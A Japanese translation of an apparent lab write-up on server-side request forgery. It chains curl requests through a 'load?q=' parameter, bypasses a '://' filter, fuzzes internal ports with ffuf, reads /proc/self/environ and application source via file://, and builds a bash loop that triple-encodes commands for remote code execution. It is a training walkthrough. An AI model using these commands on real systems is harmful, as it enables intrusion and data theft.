SSRF (LAB) から学ぶ

ソース:

medium.com

脆弱性:SSRF

 

訳:

説明

サーバー機能を悪用し、ターゲット アプリケーションがデータの読み取りまたは送信に使用する URL を指定または変更することにより、サーバーに代わって内部または外部のリソース要求を実行します。

 

インパク

  1. 既知の内部システムとの対話
  2. ポートスキャンによる内部サービスの検出
  3. ローカル/機密データの開示
  4. ターゲット アプリケーションにファイルを含める
  5. RCE

ラボ: Python ワンライナーでリバース シェルを取得して RCE を取得する

 

1. 開いているポートの発見

 

nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>

 

 

2. Curl — ターゲットとの対話

 

curl -i -s -L http://<TARGET IP>

 

 

ご覧のとおり、-> ubuntu-web.lalaguna.local および external.app.local は、q パラメーターを介してリソースを読み込みます。

 

3. cURL — ターゲット (internal.app.local) との対話

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=index.html"

 

 

4. ランダムなポートにリクエストを発行して、閉じられたポートからの応答がどのように見えるかを確認してみましょう。

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:10"

 

 

  • unknown URL typeエラー メッセージ -> Web アプリケーションは削除されています ://私たちのリクエストから を受け取りました

5. URLを変更 -> さらに追加 ://

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:10"

 

 

さて、Web アプリケーションは、取得しようとしているリソースを含む HTML レンダリングされたコンテンツを返します。

 

6. cURL リクエストをランダムなポートに発行して、後でオープン ポートをファジングするときにフィルタリングされる、存在しないサービスに対するリクエストの応答サイズを取得しましょう。

 

curl -s -i "http:// IP>/load?q=http://127.0.0.1:10"

 

 

7. ワードリストで ffuf を使用し、特定したサイズ (30) の応答を破棄します。

 

ffuf -w ports.txt:PORT -u "http:// IP>/load?q=http://127.0.0.1:PORT" -fs 30

 

 

8. ターゲットの有効なポート (例: 5000) との対話

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"

 

 

9. 開示請求の発行 /proc/self/environファイル。現在のパスは以下に存在する必要があります。 PWD環境変数。

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -

 

 

  • 現在のパスが次であることがわかりました。 /appを公​​開しましょう。 internal_local.pyファイル。

10. ローカルファイルの取得 internal_local.pyファイルスキーマ経由:

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"

 

 

GET リクエストを送信してリモート ホスト上でコマンドを実行できる機能があることに注目してください。 /runme?x=<CMD>

11. 送信して RCE を確認します whoami指示:

 

curl -i -s "http:// IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"

 

 

💡 注: を使用してこれを行うことができます)。 jq 引数または特殊文字を使用してコマンドを実行するには、3 つの異なる Web アプリケーションにコマンドを渡すときに、コマンドを 3 回エンコードする必要があります (ターミナル)

 

12. RCE スクリプト(シェル)を作成します。

 

rce() {
while true; do
echo -n "# "; read cmd
ecmd=$(echo -n "$cmd" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
curl -s -o - "http:// IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
echo ""
done
}

 

13. RCE 関数を呼び出してコマンドを実行します。

 

 

最後に、RCE を取得するための Python ワンライナーを介してリバース シェルを取得することに成功しました。

 

 

ほなほな。